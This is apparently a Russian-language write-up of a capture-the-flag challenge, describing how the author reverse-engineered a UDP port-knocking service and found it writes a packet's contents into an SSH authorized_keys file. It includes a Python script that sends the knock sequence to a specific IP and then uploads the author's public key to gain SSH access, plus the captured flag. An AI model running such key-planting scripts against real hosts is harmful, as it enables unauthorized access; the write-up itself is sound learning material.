Отправил нужный пакет на порт 5432, а за ним на порт 14235. И ничего. Порт перестал открываться. В итоге сгенерировал другие данные и, соответственно, MD5 с нужным началом. Снова сообщение, но на этот раз с другим портом. После перезапуска сервиса сработала первая MD5, снова с портом 14235. Появилась мысль, что сервис запоминает отработанные MD5. Поэтому тестировал, каждый раз перезапуская сервис.
Binding 22
Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50
00133337
New salt 508bd11b
Next port 14235
Binding 14235
Waiting for data...Received packet from 127.0.0.1:43614
Data:
3 14235 27
Next port 23038
Binding 23038
Waiting for data...4
Опять новый порт. Здесь я начал думать, что цепочка портов может оказаться длинной…
На самом деле, следующий за этим порт (31841) оказался последним. Спустя некоторое время работы с gdb и дизассемблированным кодом и различных тестов обнаружил, что появился файл »/home/task/.ssh/authorized_keys».
Далее обнаружить причину появления файла стало вопросом времени, что записывается в этот файл тоже. В файл в итоге записываются данные пакета, отправленного в след за первым на последний открывшийся порт (если непонятно, в скрипте ниже будет видно).
Дальше генерация RSA ключей и отправка публичного.
Затем авторизация на сервере по SSH, поиск и получение флага.
В процессе применения у меня сработала только третья сгенерированная MD5-сумма. Уже после сдачи задания по результатам реверса выяснил, что на самом деле третья сумма будет срабатывать всегда (точнее до истечения некоего счетчика). Для постоянного срабатывания суммы необходимо, чтобы передаваемое в первых 4 байтах данных пакета (от которого считается MD5) целое число типа int было отрицательным, то есть первый бит четвертого байта был установлен (обратный порядок байт).
import socket
import time
import SocketServer
import select
d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00']
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
print "Send 1"
s.sendto(d[0], ("95.216.185.52", 5432))
time.sleep(0.2)
print "Send 2"
s.sendto(d[1], ("95.216.185.52", 5432))
time.sleep(0.2)
print "Send 3"
s.sendto(d[2], ("95.216.185.52", 5432))
time.sleep(0.2)
print "Send 4"
s.sendto("\x00", ("95.216.185.52", 41357))
time.sleep(0.2)
print "Send 5"
s.sendto("\x04", ("95.216.185.52", 42381))
# for i in range(256):
time.sleep(0.2)
print "Send 6"
s.sendto("\x02", ("95.216.185.52", 28709))
# Read key
with open("ssh_key.txt", "rb") as fr:
data = fr.read()
print len(data)
print "Send 7"
s.sendto(data, ("95.216.185.52", 28709))
print s.recvfrom(1500)
s.close()
Искомая строка: flag{a1ec3c43cae4250faa302c412c7cc524}
При успешном выполнении получаем «OK» в ответ.
На деле, как я написал, лишним оказалось отправлять первую и вторую MD5-сумму. Также думаю, что не все решил из требуемого, просто подобралось.
Не думал, что получу инвайт, почти 40 часов прошло со старта задания до момента, когда я отправил флаг. Спасибо.